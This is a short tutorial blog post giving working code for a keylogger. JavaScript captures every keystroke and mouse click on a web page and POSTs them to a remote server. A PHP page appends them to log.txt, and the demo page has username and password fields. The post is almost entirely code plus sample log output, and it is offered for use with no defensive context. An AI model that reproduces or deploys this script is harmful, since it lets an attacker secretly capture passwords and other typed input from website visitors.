In this blog post, I share simple javascript code to make Keylogger in Javascript. This simple Js code will record keystrokes from the user on the website page and write a log on log.txt.
index.php
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Make a Keylogger in Javascript</title>
</head>
<body>
<?php
$o = fopen("php://input", "r");
$str = stream_get_contents($o);
fclose($o);
$t = fopen("log.txt", "a+");
fwrite($t, $str);
fclose($t);
?>
Test Text:
<input type="text" placeholder="username" /><br />
Test Password:
<input type="password" placeholder="type password" /><br /><br />
Try check to your server log.txt
</body>
</html>
javascript.js
Don’t fotget to add domain in server.
<script>
(function(){
var server = "http://domain.com/"; //enter your page URL
document.addEventListener("keyup", function(e){
var x = new XMLHttpRequest();
x.open("POST", server, true);
x.send(e.key);
});
document.addEventListener("click", function(e){
var click;
if(e.which == 1){
click = " Left Click ";
}else{
click = " Right Click ";
}
var x = new XMLHttpRequest();
x.open("POST", server, true);
x.send(click);
});
})();
</script>
We would get the final result like this.
log.txt
TabControl Left Click Backspacecodermen Left Click Tab

Brijpal Sharma is a web developer with a passion for writing tech tutorials. Learn JavaScript and other web development technology.